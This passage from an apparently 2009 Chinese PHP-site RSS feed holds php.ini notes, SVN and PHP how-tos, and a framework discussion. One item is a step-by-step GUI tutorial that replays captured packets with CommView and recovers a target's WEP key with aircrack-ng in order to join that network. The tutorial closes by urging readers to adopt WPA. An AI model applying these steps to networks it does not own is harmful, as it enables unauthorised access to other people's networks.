自动意味着<br>;mbstring.detect_order = auto<br><br>; 当无法将字符从一种转换到另一种时使用的置换符号<br>;mbstring.substitute_character = none;<br><br>; 使用mbstring函数 覆盖(替换) 单字节函数.<br>; mail(), ereg(), 等等都会被 mb_send_mail(), mb_ereg() 等等覆盖,<br>; 可以取的值是 0,1,2,4 或者他们的组合.<br>; 例如, 7 就是覆盖所有函数.<br>; 0: 不覆盖<br>; 1: 覆盖 mail() 函数<br>; 2: 覆盖 str*() 函数<br>; 4: 覆盖 ereg*() 函数<br>;mbstring.func_overload = 0<br><br>[FrontBase]<br>;fbsql.allow_persistent = On<br>;fbsql.autocommit = On<br>;fbsql.show_timestamp_decimals = Off<br>;fbsql.default_database =<br>;fbsql.default_database_password =<br>;fbsql.default_host =<br>;fbsql.default_password =<br>;fbsql.default_user = "_SYSTEM"<br>;fbsql.generate_warnings = Off<br>;fbsql.max_connections = 128<br>;fbsql.max_links = 128<br>;fbsql.max_persistent = -1<br>;fbsql.max_results = 128<br><br>[gd]<br>; 告知jpeg解码器libjpeg警告并且尝试创建一个gd图像. 此警告会被作为一个通告显示<br>; 默认为关闭<br>;gd.jpeg_ignore_warning = 0<br><br>[exif]<br>; Exif UNICODE 用户注释会被作为UCS-2BE/UCS-2LE 和 JIS 来进行 JIS处理.<br>; 当 mbstring.internal_encoding 设置为空,如果有 mbstring 支持,则会自动转换到给出的对应编码设置的编码.<br>; 对于解码设置你可以在motorola和intel字符序列上进行选择. 解码设置不能设置为空.<br>;exif.encode_unicode = ISO-8859-15<br>;exif.decode_unicode_motorola = UCS-2BE<br>;exif.decode_unicode_intel&nbsp; &nbsp; = UCS-2LE<br>;exif.encode_jis =<br>;exif.decode_jis_motorola = JIS<br>;exif.decode_jis_intel&nbsp; &nbsp; = JIS<br><br>[Tidy]<br>; 当调用tidy时,默认指向tidy配置文件的路径<br>;tidy.default_config = /usr/local/lib/php/default.tcfg<br><br>; tidy是否自动清除和修复输出?<br>; 警告: 不要在你产生非html内容时使用此项,例如产生动态图片时<br>tidy.clean_output = Off<br><br>[soap]<br>; 打开或关闭WSDL缓冲特性.<br>soap.wsdl_cache_enabled=1<br>; 设置SOAP扩展存放缓冲文件的目录.<br>soap.wsdl_cache_dir="/tmp"<br>; (存活时间) 设置当缓冲文件被用来替换原有缓冲文件的秒数.<br>soap.wsdl_cache_ttl=86400<br><br>; Local Variables:<br>; tab-width: 4<br>; End:<br><br><br><br> ]]>
            </content:encoded>
</item>

<item>
  <title>一步步教你破解WIFI无线WEP网络密钥</title>
  <link>http://www.phpv.net/html/1679.html</link>
  <comments>http://www.phpv.net/html/1679.html#comments</comments>
  <pubDate>Fri, 20 Mar 2009 09:56:01 +0800 GMT</pubDate>
  <dc:creator>抽烟的蚊子</dc:creator>
            <category>
            <![CDATA[ 其它杂谈 ]]>
            </category>
  <content:encoded>
            <![CDATA[ 相信了解无线网络的读者都知道安全性是无线网络的先天不足，正是因为他的传播通过空气，所以信号很容易出现外泄问题，相比有线网络来说信号监听变得非常简
单。部分用户通过WEP加密的方式来保护网络通讯数据包避免被监听者破译，不过WEP加密在现今这个安全技术飞速发展的时代已经不再保险，网上也有很多介
绍实现无线WEP入侵的方法。今天笔者就再介绍一个更为精简的方法，让我们可以在五分钟之内实现无线WEP网络的入侵，将WEP加密密钥轻松还原出明文。<br><br><p><strong>一，五分钟实现无线WEP入侵的特点：</strong></p><p><strong><br></strong></p><p>众所周知WEP加密入侵需要用户通过监听等方法
接收到足够数量的WEP验证数据包，然后通过分析软件使用暴力破解的方法穷举法还原出WEP加密密钥的明文信息。五分钟实现无线WEP入侵也必须通过这种
方法来完成，不过不同的是传统的WEP加密破解方法都需要攻击者通过诸如BT3，BT4这样的专业入侵光盘来完成，通过无线扫描和破解光盘启动进入到类
Linux操作系统的GUI界面，然后通过内置的破解工具进行扫描和还原密钥工作，一方面操作上受到局限，进入GUI界面无法灵活选择应用程序;另一方面
需要下载容量巨大基本上要有几个G的破解光盘镜像，同时还需要刻录成光盘启动。最关键的一点就是这种破解并不支持断点续破，也就是说如果中途关闭电源或者
停止破解的话，之前所做的工作将前功尽弃。</p><p>今天笔者介绍的这个五分钟实现无线WEP入侵的方法则有效的解决了上面传统方法的不足，首
先我们并不需要下载容量巨大的数据光盘，其次所有工作都直接在Windows系统下完成，全部图形化界面，而且我们可以将破解工作划分成收集数据以及破解
数据两个阶段，从而大大提高了破解效率，实现了断点续破的功能。通过本文介绍的方法我们可以在很短时间之内实现WEP验证数据包的收集，之后再进行WEP
暴力破解还原即可。总体来说破解WEP加密的无线网络速度更块。<strong><br></strong></p><p><strong><br></strong></p><p><strong>二，变更无线网卡驱动实现数据监听：</strong></p><p>和以往针对无线WEP加密破解一样的是，我们首先需要将自己的无线网卡驱动进行更新，因为默认情况下无线网卡虽然能够进行无线通讯，但是无法胜任监听工作。具体步骤如下。</p><p>第一步：笔者使用的笔记本是IBM T400，默认情况下他的无线网卡是atheros ar5006系列，我们要将其更改为适合监控的类别。首先在我的电脑任务管理器里找到网络适配器下的无线网卡，在其上点鼠标右键选择“更新驱动程序”。(如图1)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_E1WNoZejt3.jpg" border="0"></p><p><br></p><p>第二步：接下来会打开硬件安装向导，我们选择“从列表或指定位置安装(高级)”，然后点“下一步”按钮继续。(如图2)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_930Rmd9RTk.jpg" border="0"></p><p><br></p><p>第三步：接下来是选择驱动程序，我们使用附件中的“驱动程序”目录中的文件进行安装即可，通过“浏览”按钮找到对应的网卡驱动程序，然后继续点“下一步”按钮。(如图3)</p><p><br></p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_I2VtZSYFLa.jpg" border="0"><br></p><p style="text-align: center;"><br></p><p style="text-align: left;">第四步：系统会自动扫描指定目录，然后通过里面的驱动文件更新网卡驱动程序。(如图4)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_qAyFh42QZt.jpg" border="0"><br></p><p style="text-align: center;"><br></p><p style="text-align: center;">第五步：更新完毕后我们的无线网卡就被更改为commview atheros ar5006x wireless network adapter，点“完成”按钮结束。(如图5)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_BYi0ZSlPRI.jpg" border="0"></p><p><br></p><p>第六步：再次查询该网卡会看到名称已经被顺利更新到commview atheros ar5006x wireless network adapter了。(如图6)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_sRZONrxWpu.jpg" border="0"></p><p>至此我们就完成了驱动程序的更新，现在我们笔记本的无线网卡已经具备监听无线通讯数据包的功能了。下面我们就可以通过专业的监控软件完成无线数据包的监听了。<strong><br></strong></p><p><strong><br></strong></p><p><strong>三，安装COMMVIEW FOR WIFI并收集相关无线通讯数据包：</strong></p><p>要想顺利监控无线通讯数据包除了使用专门的破解光盘BT3或BT4外，我们可以通过纯WINDOWS系统下的软件来完成，这也是本文介绍的快速破解WEP加密的主要工具之一。他就是大名鼎鼎的commview for wifi。</p><p>commview for wifi小档案</p><p>软件版本： 6.1 build 607</p><p>软件大小：9881KB</p><p>软件类别：共享版</p><p>软件语言：英文版</p><p>适用平台：windows 9X/ME/NT/2000/XP/2003</p><p>下载地址：</p><p>http://www.onlinedown.net/soft/4632.htm</p><p>第一步：从网上下载commview for wifi 6.1 build 607，值得注意一点的是一定要选择for wifi版，否则将无法顺利监控无线通讯数据包。下载后解压缩运行主安装程序，然后一路点next按钮即可，直到完成全部安装。(如图7)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_Dha4yAjO4j.jpg" border="0"></p><p><br></p><p>第二步：接下来我们启动commview for
wifi软件，在主界面上点“箭头”(开始监控)按钮，然后会打开扫描界面，接下来我们点右边的start
scanning按钮将针对当前环境下的无线网络进行扫描，扫描将从频道1开始继续到频道13，所以扫描到的无线网络SSID以及设备类别等信息都会直接
显示在scanner扫描界面中。点对应的名称后我们还可以看到具体信息，包括信号强度，设备MAC地址，IP地址等信息。(如图8)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_NMqzDQTEH5.jpg" border="0"></p><p><br></p><p>小提示：</p><p>由于实际使用过程中并不是每个频道无线网络都很多的，所以我们可以直接在options标签下设置具体扫描频道，例如只扫描频道3，6，7等。这样可以最大限度的提高扫描速度。设置完毕后确定即可。(如图9)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_VRWq9CIlfK.jpg" border="0"></p><p><br></p><p>第三步：实际上笔者还有一个好办法来具体确定哪个扫描频道无线网络最多，那就是通过专门的快速无线扫描工具来完成，笔者使用的是wirelessmon
专业版，通过此工具我们可以在几秒之内就知道当前环境下都有哪些无线网络存在了，包括那些没有开启SSID广播的网络也都能够找到，同时知道他们使用的信
号频段，从而确定哪个频段下无线网络最多，再返回commview for wifi的scanner扫描中进行相应设置即可。(如图10)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_YM0IbX60TZ.jpg" border="0"></p><p><br></p><p>第四步：一般来说我们针对无线网络进行数据监控不应该同时监视多个不同的无线网络，否则无线通讯数据包会比较多，一方面不容易筛选，另一方面也大大减少
了最终的破解速度。因此我们可以通过commview for
wifi里的rules标签将要监视的无线网络设备MAC地址添加到过滤信息里，同时指定监控流量方向是只流出还是只流入又或者是全部通讯。一般建议大家
使用全部方向上的通讯both。添加完MAC地址后选中enable mac address
rules后将只针对该MAC设备开启的无线网络进行数据监视和记录。(如图11)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_EAcGVnk4lt.jpg" border="0"></p><p><br></p><p>第五步：设置完过滤信息后在scacnner扫描界面下点capture捕获即可，之后我们将会看到commview for wifi扫描到的所有无线数据包信息，包括频段以及对应的无线网络SSID信息。(如图12)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_5jdt62nmoS.jpg" border="0"></p><p><br></p><p>第六步：适当监控一段时间后我们点packets数据包标签，在这里将看到所有监控到的无线通讯数据包。这时为了更好的查看和过滤数据信息我们点下面一排最右边的按钮，即图中显示18742数据包的1字上头对应的那个按钮。(如图13)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_dD2AdetI1a.jpg" border="0"></p><p><br></p><p>第七步：打开log viewer界面后我们可以按照protocol协议来排列数据包，在这里找到标记为蓝色的而且协议名称是encr.data的数据即可，这个是我们要分析的数据包，只有通过这种数据包才能够顺利的破解还原出WEP加密密钥来。(如图14)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_OJUjBH4hvh.jpg" border="0"></p><p><br></p><p>第八步：选择该数据包后通过点鼠标右键选择send packet(s)-&gt;selected来复制该数据包并发送。(如图15)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_GVlqvTlmQL.jpg" border="0"></p><p><br></p><p>第九步：然后会自动打开发送数据包窗口，在这里我们只需要修改times处的次数即可，一般需要收集几十万个数据包才能够轻松破解，笔者一般选择80万
个数据包然后再破解。点“发送”按钮后开始依次发送之前复制的数据包，下面也能够看到已经发送的数据包数量。(如图16)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_CSUjyURcZB.jpg" border="0"></p><p><br></p><p>第十步：收集到足够的数据包后我们返回到commview for wifi主界面中的LOGGING日志记录标签，在这里通过“SAVE AS”按钮将其保存到本地硬盘后缀名是NCF的文件。(如图17)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_m6wbxypccx.jpg" border="0"></p><p><br></p><p>第十一步：接下来直接双击保存的NCF文件会自动用LOG
VIEWER日志浏览工具打开该文件，在这里我们可以看到抓取下来的所有数据包信息，点FILE下的export logs-&gt;tcpdump
format，将其转换为TCPDUMP格式，只有该格式才能被下文暴力破解提到的工具所支持。(如图18)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_HUn9EKFlxo.jpg" border="0"></p><p>生成了新的TCPDUMP格式的文件后我们的数据包抓取和监控工作才算完成，接下来就是通过暴力破解的方式来还原WEP密钥了。</p><p><strong><br></strong></p><p><strong>四，利用aircrack破解WEP密钥：</strong></p><p>我们使用aircrack软件来破解收集到的数据从而还原出WEP密钥，笔者使用的是aircrack-ng GUI软件。相关软件在附件中提供，感兴趣的读者可以自行下载。</p><p>第一步：启动aircrack-ng GUI主程序，直接选择左边第一个标签。</p><p>第二步：通过CHOOSE按钮选择之前保存的TCPDUMP格式的文件，后缀名是CAP。(如图19)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_ONMkOXIag0.jpg" border="0">第三步：点右下角的LAUNCH按钮开始分析监控到的数据包，软件会根据监控到的数据信息罗列出所有相关无线网络参数，这里我们需要选择IVS最高的那个，这个才是我们要破解的那个无线网络，例如图中的WEP(38119IVS)。(如图20)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_QxUMVyER1d.jpg" border="0"></p><p><br></p><p>第四步：输入足够数量IVS对应的网络ID后将自动进入到暴力破解环节，这时我们就需要耐心等待了。如果IVS数量不够会出现FAILED的提示，这说明我们还需要增加监控到的数据包数量。(如图21)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_kjBKuJdnlR.jpg" border="0"></p><p><br></p><p>第五步：如果满足破破解数量的话等待一段时间后就会出现KEY FOUND的提示，我们就可以顺利的破解目的无线网络使用的WEP加密密钥了，从而实现了无线WEP入侵的目的。(如图22)</p><p style="text-align: center;"><img alt="" src="http://www.phpv.net/uploadfile/month_200903/local_is6yvnNb4P.jpg" border="0"></p><p><br></p><p>第六步：之后我们通过扫描到的SSID信息以及WEP密钥就可以顺利的连接到目的无线网络中了。</p><p><strong><br></strong></p><p><strong>五，总结：</strong></p><p>本文介绍了如何在Windows环境下不使用引导光盘而直接破解还原无线网络WEP加密的密钥，本方法有两大特色，第一破解的全过程都是在
WINDOWS环境下直接完成的，我们可以一边上网冲浪一边监控数据包，也不再需要刻录破解引导光盘了;第二破解是通过收集到的数据包来完成的，所以我们
可以把破解和收集两个工作分开，从而让破解操作更加灵活，可以分期分批的完成破解工作;第三相比传统的被动监控无线通讯数据包中WEP验证内容来说，本方
法采取的是主动出击的方法，通过复制WEP验证数据包并反复发送虚假数据包来获取反馈信息，从而在最短时间内收集到足够数量的WEP验证数据包，最终大大
提高了破解速度。对于我们这些普通用户来说仅仅使用WEP加密已经不再安全，我们只有通过其他加密方式例如WPA，WPA2才能够保证无线网络通讯的隐
私，因此希望各位无线网络用户能够通过本文引起足够的重视，减少WEP加密方式的无线网络应用，毕竟对于入侵者来说WEP加密不过是一扇半开着的大门。</p> ]]>
            </content:encoded>
</item>

<item>
  <title>PHP框架有没有前途？是否适用于复杂的web开发框架</title>
  <link>http://www.phpv.net/html/1678.html</link>
  <comments>http://www.phpv.net/html/1678.html#comments</comments>
  <pubDate>Thu, 12 Mar 2009 14:18:19 +0800 GMT</pubDate>
  <dc:creator>admin</dc:creator>
            <category>
            <![CDATA[ PHP技术文档 ]]>
            </category>
  <content:encoded>
            <![CDATA[ 这是javaeye里普通的贴子对话,抄过来,欢迎大家看过后讨论.原贴名叫 <a href="http://www.javaeye.com/topic/319039">PHP框架的繁荣是正确的发展方向吗？</a><br><br><br><br><br>做ROR有一年了, 感觉非常好.配合敏捷实践(除了pair, 由于是和美国工程师远程合作.)开发速度的确快.一共三个人写代码，短短半年, 项目就基本结束了....
<br>
<br>现在新项目即将到来, 客户在php和rails之间难以取舍. 我也打算趁此机会了解一下php.
<br>由于项目定制性还是比较高，想通过成熟的CMS等系统来改改估计是没戏。
<br>从头开发又觉得太慢。于是想从开源框架入手。
<br>
<br>经过了解才发现, php新兴的一些框架基本上清一色的学习(或者叫抄袭,特别是cakePHP,
那简直抄得太厉害了.)rails。而且这些框架还发展的很好，越来越受到php社区的欢迎。 比如国外cakePHP,国内的Fleaphp,
QeePHP等等，就不一一列举了.
<br>
<br>昨天用cakePHP做了个简单的demo， 确实抄rails那是抄的相当直白。 甚至连rake都还有相应的东西代替。除了migration和filter我没找到对应的东西。让我一个不懂php的人,都还是可以很快地上手了.
<br>
<br>一方面感叹php抄rails这种彻底，另一方面也感叹这些抄袭之作的确也带来了php开发效率的提升。虽然由于php本身的原因，框架的引入对
性能的影响是比较大的。但是这些框架的出现大有重整php社区的意思。（至少客户就告诉我们，用rails不如用cakePHP，这样他们也不会引入更多
风险。他们还介绍他们美国几个团队都又从rails转回cakePHP了.）
<br>
<br>我就纳闷儿了，当时还觉得rails就是冲着php的市场去的。。。现在反而觉得rails的思想拯救了php...
<br>
<br>大家觉得是应该继续说服客户呢？ 还是就用山寨rails了呢？<br><br><br><br style="font-weight: bold; color: rgb(255, 69, 0);"><span style="font-weight: bold; color: rgb(255, 69, 0);">高手robbin的回复:</span><br style="font-weight: bold; color: rgb(255, 69, 0);"><span style="font-weight: bold; color: rgb(255, 69, 0);">----------------------------------------------------------------</span><br style="font-weight: bold; color: rgb(255, 69, 0);"><br><br>PHP和Python/Ruby的运行机制有一个本质区别：PHP是每次HTTP请求过来以后，初始化全部资源（例如创建数据库链接、加载系统类库，创建
缓存等等），处理完毕，释放全部资源，这不像Python/Ruby之类带有GC的脚本语言，Python/Ruby是初次启动的时候初始化资源，随后的
请求就不必再次初始化资源了。
<br>
<br>这种机制的差异带来的区别就是：
<br>
<br>1、PHP极难出现严重的内存泄露问题，随便你代码写的多烂，反正每个请求一执行完毕，所有资源统统释放光。而Python/Ruby则需要依赖GC来回收内存，因此稍有不慎，还是会出现GC无法释放的内存泄露问题。
<br>
<br>2、PHP每次请求都要初始化资源，这个开销非常大。所以尽管PHP解析器本身的运行速度是极快的，但是一旦使用复杂的PHP框架，那么由于需要
每次请求的时候初始化整个框架，性能的下降非常厉害，你用一个很复杂的PHP框架的结果就是整体性能被Ruby远远甩开。这也是为什么PHP社区这么多年
来，并不怎么倾向于使用框架的原因之一。
<br>
<br>3、由于PHP这种每请求初始化资源的机制，也造成了PHP添加跨请求的高级特性相当困难，这是PHP本身一个很大的限制，但是反过来说，正是这
种限制使得PHP始终保持在一个比较简单的web语言上面，而正是这一点才是PHP得以成为互联网第一Web编程语言的原因，因此也未必就不好。
<br>
<br>总之，PHP和Ruby的差异还是很大的，不适合放在一起比较，其实应该比较的是Ruby和Python才对。
<br>
<br>所以我觉得Rails这种框架性做法被PHP跟风以后，其实是把PHP带上了邪路，所以不如说是Rails在误导PHP的发展。顺便多说一
句：DHH在编写basecamp之前，一直是用PHP的，并且自己还写了一个PHP的快速开发框架，他改用ruby以后，把当初自己写的PHP框架也移
植过来了，这个框架实际上是Rails最初的原型。那么为什么DHH当初不直接基于PHP做Rails呢?非要改用ruby以后，才发表rails呢？你
看看PHP这种运行机制就知道了，PHP做复杂的web开发框架并不是一条光明的道路。<br> ]]>
            </content:encoded>
</item>

<item>
  <title>SVN分支和合并</title>
  <link>http://www.phpv.net/html/1676.html</link>
  <comments>http://www.phpv.net/html/1676.html#comments</comments>
  <pubDate>Sun, 08 Mar 2009 17:42:19 +0800 GMT</pubDate>
  <dc:creator>抽烟的蚊子</dc:creator>
            <category>
            <![CDATA[ 项目管理 ]]>
            </category>
  <content:encoded>
            <![CDATA[ 尽管svn没有作强制要求，但是一般svn版本库目录建议创建trunk、branches和tags三个目录。在实际操作时，trunk主干版本要时刻保持干净，即随时可以基于这个版本进行修改并将应用部署上线。branches是分支目录，存放并行开发的<span href="http://bbs.phpv.net/tag.php?name=%E9%A1%B9%E7%9B%AE" onclick="tagshow(event)" class="t_tag">项目</span>代码，因为分支是主干的廉价拷贝（相当只是提交了一次主干版本，增加了一个<span href="http://bbs.phpv.net/tag.php?name=%E7%89%88%E6%9C%AC%E5%8F%B7" onclick="tagshow(event)" class="t_tag">版本号</span>，
并没有取出版本库作镜像拷贝），所以你可以放心建立很多分支版本。不过 Subversion不支持跨版本库的拷贝，当使用svn
copy时你只能在同一个版本库内操作。tags目录存放trunk某个的快照，比如说release-1.0即trunk处于1.0版本时的快照。<br>
<br>
使用svn来作团队的代码管理，那么分支和合并将是非常常用的操作。下面是一个简单的示例。<br>
<br>
1. 创建分支。这里假设你要负责一个叫theme的项目，分支号1.7.2。<br>
<br>
&nbsp; &nbsp;1. #这里的localhost是svn服务器地址<br>
&nbsp; &nbsp;2. svn copy -m "1.7.2 - theme" svn://localhost/www/trunk svn://localhost/www/branches/branch1.7.2-theme<br>
&nbsp; &nbsp;3. svn co svn://localhost/www/branches/branch1.7.2-theme<br>
<br>
2. 从trunk中merge到分支。忙了一个星期终于开发完了，但是开发期间trunk版本有过改动，部署上线前你需要合并trunk的代码。<br>
<br>
&nbsp; &nbsp;1. #branch1.7.2-theme是分支目录，注意不可以进到分支子目录<br>
&nbsp; &nbsp;2. cd branch1.7.2-theme<br>
&nbsp; &nbsp;3. #前面的12972是开分支之前trunk的版本号，后面的12991是merge时trunk的版本号<br>
&nbsp; &nbsp;4. svn merge -r 12972:12991 svn://localhost/www/trunk<br>
<br>
如果有冲突选择p(postpone)，merge完了之后使用svn st|grep ^C查看冲突文件，然后比对修改冲突文件。解决冲突后再check in ，信息写上执行的merge操作。<br>
<br>
&nbsp; &nbsp;1. svn ci -m 'svn merge -r 12972:12991 svn://localhost/www/trunk'<br>
<br>
3. 从分支merge到trunk。上线<span href="http://bbs.phpv.net/tag.php?name=%E6%B5%8B%E8%AF%95" onclick="tagshow(event)" class="t_tag">测试</span>完毕，你很幸运，一切都如预期正常，这时就要将分支回归trunk，将trunk更新到最新。<br>
<br>
&nbsp; &nbsp;1. #先从trunk checkout一份新鲜的代码，然后cd到该版本目录下<br>
&nbsp; &nbsp;2. svn co svn://localhost/www/trunk<br>
&nbsp; &nbsp;3. cd trunk<br>
&nbsp; &nbsp;4. #12973是分支开始的版本号，13006是分支结束的版本号<br>
&nbsp; &nbsp;5. svn merge -r 12973:13006 svn://localhost/www/branches/branch1.7.2-theme<br>
<br>
如步骤2一样解决冲突，解决冲突后再check in，信息写上执行的merge操作。<br>
<br>
&nbsp; &nbsp;1. svn ci -m "svn merge -r 12973:13006 svn://localhost/www/branches/branch1.7.2-theme"<br>
<br>
相关的手册可以参阅svn文档，电子版点<a target="_blank" href="http://panweizeng.com/download/subversion.chm">这里下载</a>。 ]]>
            </content:encoded>
</item>

<item>
  <title>如何在PHP下载文件名中解决乱码</title>
  <link>http://www.phpv.net/html/1675.html</link>
  <comments>http://www.phpv.net/html/1675.html#comments</comments>
  <pubDate>Fri, 06 Mar 2009 10:58:02 +0800 GMT</pubDate>
  <dc:creator>抽烟的蚊子</dc:creator>
            <category>
            <![CDATA[ PHP技术文档 ]]>
            </category>
  <content:encoded>
            <![CDATA[ <p>通过把Content-Type设置为application/octet-stream，
可以把动态生成的内容当作文件来下载，相信这个大家都会。
那么用Content-Disposition设置下载的文件名，
这个也有不少人知道吧。
基本上，下载程序都是这么写的：</p>
<pre>&lt;?php<br>$filename = "document.txt";<br>header('Content-Type: application/octet-stream');<br>header('Content-Disposition: attachment; filename=' . $filename);<br><br>print "Hello!";<br>?&gt;</pre>
<p>这样用浏览器打开之后，就可以下载document.txt。</p>
<p>但是，如果$filename是UTF-8编码的，有些浏览器就无法正常处理了。
比如把上面那个程序稍稍改一下：</p>
<pre>&lt;?php<br>$filename = "中文 文件名.txt";<br>header('Content-Type: application/octet-stream');<br>header('Content-Disposition: attachment; filename=' . $filename);<br><br>print "Hello!";<br>?&gt;</pre>
<p>把程序保存成UTF-8编码再访问，IE6下载的文件名就会乱码。
FF3下下载的文件名就只有“中文”两个字。Opera 9下一切正常。</p>
<p>输出的header实际上是这样子：</p>
<pre>Content-Disposition: attachment; filename=中文 文件名.txt</pre>
<p>其实按照<a target="_blank" href="http://tools.ietf.org/html/rfc2231">RFC2231</a>的定义，
多语言编码的Content-Disposition应该这么定义：</p>
<pre>Content-Disposition: attachment; filename*="utf8''%E4%B8%AD%E6%96%87%20%E6%96%87%E4%BB%B6%E5%90%8D.txt"</pre>
<p>即：</p>
<ul style="padding-left: 16px; margin-left: 16px;"><li>filename后面的等号之前要加 *</li><li>filename的值用单引号分成三段，分别是字符集(utf8)、语言(空)和urlencode过的文件名。</li><li>最好加上双引号，否则文件名中空格后面的部分在Firefox中显示不出来</li><li>注意urlencode的结果与php的urlencode函数结果不太相同，php的urlencode会把空格替换成+，而这里需要替换成%20</li></ul>
<p>经过试验，发现几种主流浏览器的支持情况如下：</p>
<div><table border="0" cellspacing="1"><tbody><tr><td>IE6</td><td>attachment; filename="&lt;URL编码之后的UTF-8文件名&gt;"</td></tr><tr><td rowspan="2">FF3</td><td>attachment; filename="UTF-8文件名"</td></tr><tr><td>attachment; filename*="utf8''&lt;URL编码之后的UTF-8文件名&gt;"</td></tr><tr><td>O9</td><td>attachment; filename="UTF-8文件名"</td></tr><tr><td>Safari3(Win)</td><td>貌似不支持？上述方法都不行</td></tr></tbody></table></div>
<p>这样看来，程序必须得这样写才能支持所有主流浏览器：</p>
<pre>&lt;?php<br><br>$ua = $_SERVER["HTTP_USER_AGENT"];<br><br>$filename = "中文 文件名.txt";<br>$encoded_filename = urlencode($filename);<br>$encoded_filename = str_replace("+", "%20", $encoded_filename);<br><br>header('Content-Type: application/octet-stream');<br><br>if (preg_match("/MSIE/", $ua)) {<br>	header('Content-Disposition: attachment; filename="' . $encoded_filename . '"');<br>} else if (preg_match("/Firefox/", $ua)) {<br>	header('Content-Disposition: attachment; filename*="utf8\'\'' . $filename . '"');<br>} else {<br>	header('Content-Disposition: attachment; filename="' . $filename . '"');<br>}<br><br>print 'ABC';<br>?&gt;<br></pre> ]]>
            </content:encoded>
</item>

<item>
  <title>PHP中文简繁互转代码 完美支持大陆、香港、台湾及新加坡</title>
  <link>http://www.phpv.net/html/1674.html</link>
  <comments>http://www.phpv.net/html/1674.html#comments</comments>
  <pubDate>Wed, 04 Mar 2009 17:19:35 +0800 GMT</pubDate>
  <dc:creator>esayr</dc:creator>
            <category>
            <![CDATA[ PHP技术文档 ]]>
            </category>
  <content:encoded>
            <![CDATA[ <p>利用MediaWiki 作中文<span class="pun">简</span><span class="pun">繁</span>互换，支持不同地方中文用字上的分別(大陆、香港、台湾及新加坡)。 </p>
<pre class="prettyprint"><span class="pun">例子：</span><span class="pln"><br><br></span><span class="pun">(简</span><span class="pln"> </span><span class="pun">&gt;</span><span class="pln"> </span><span class="pun">繁)</span><span class="pln"><br><br></span><span class="pun">面包</span><span class="pln"> </span><span class="pun">&gt;</span><span class="pln"> </span><span class="pun">麵包</span><span class="pln"> </span><span class="pun">(</span><span class="pln">zh</span><span class="pun">-</span><span class="pln">tw</span><span class="pun">)</span><span class="pln"><br></span><span class="pun">寮国</span><span class="pln"> </span><span class="pun">&gt;</span><span class="pln"> </span><span class="pun">老撾</span><span class="pln"> </span><span class="pun">(</span><span class="pln">zh</span><span class="pun">-</span><span class="pln">hk</span><span class="pun">)</span><span class="pln"><br></span><span class="pun">中国人寿</span><span class="pln"> </span><span class="pun">&gt;</span><span class="pln"> </span><span class="pun">中國人壽</span><span class="pln"> </span><span class="pun">(</span><span class="pln">zh</span><span class="pun">-</span><span class="pln">hk</span><span class="pun">)</span><span class="pln"><br></span><span class="pun">罗纳尔多</span><span class="pln"> </span><span class="pun">&gt;</span><span class="pln"> </span><span class="pun">朗拿度</span><span class="pln"> </span><span class="pun">(</span><span class="pln">zh</span><span class="pun">-</span><span class="pln">hk</span><span class="pun">)</span><span class="pln"><br><br><br><br></span><span class="pun">(繁</span><span class="pln"> </span><span class="pun">&gt;</span><span class="pln"> </span><span class="pun">簡)</span><span class="pln"><br><br></span><span class="pun">記憶體</span><span class="pln"> </span><span class="pun">&gt;</span><span class="pln"> </span><span class="pun">内存</span><span class="pln"> </span><span class="pun">(</span><span class="pln">zh</span><span class="pun">-</span><span class="pln">cn</span><span class="pun">)</span><span class="pln"><br></span><span class="pun">布殊</span><span class="pln"> </span><span class="pun">&gt;</span><span class="pln"> </span><span class="pun">布什</span><span class="pln"> </span><span class="pun">(</span><span class="pln">zh</span><span class="pun">-</span><span class="pln">cn</span><span class="pun">)</span><span class="pln"><br></span><span class="pun">資料庫</span><span class="pln"> </span><span class="pun">&gt;</span><span class="pln"> </span><span class="pun">数据库(</span><span class="pln">zh</span><span class="pun">-</span><span class="pln">cn</span><span class="pun">)</span></pre><h2><a name="使用方法">使用方法</a></h2><p><a name="使用方法">1. 下载 MediaWiki: (</a><a href="http://www.mediawiki.org/wiki/MediaWiki" rel="nofollow">http://www.mediawiki.org/wiki/MediaWiki</a>)，解压在路径如：/var/lib/mediawiki-1.13.3 </p><p>2. 下载 <a target="_blank" href="http://code.google.com/p/mediawiki-zhconverter/">mediawiki-zhconverter</a>，解压及把 mediawiki-zhconverter.inc.php 复制到你 PHP 程序中 </p><p>3. 在你的程序中设置 MediaWiki 路径, 及引用 mediawiki-zhconverter </p><pre class="prettyprint"><span class="pln">define</span><span class="pun">(</span><span class="str">"MEDIAWIKI_PATH"</span><span class="pun">,</span><span class="pln"> </span><span class="str">"/var/lib/</span>mediawiki-1.14.0<span class="str">/"</span><span class="pun">);</span><span class="pln"><br>require_once </span><span class="str">"mediawiki-zhconverter.inc.php"</span><span class="pun">;</span></pre><p>4. 作出转换 </p><pre class="prettyprint"><span class="com">/*<br>&nbsp; &nbsp; MediaWikiZhConverter::convert( "字词", "</span><span class="com">转换目标</span>"<span class="com">); &nbsp;<br>&nbsp; &nbsp; 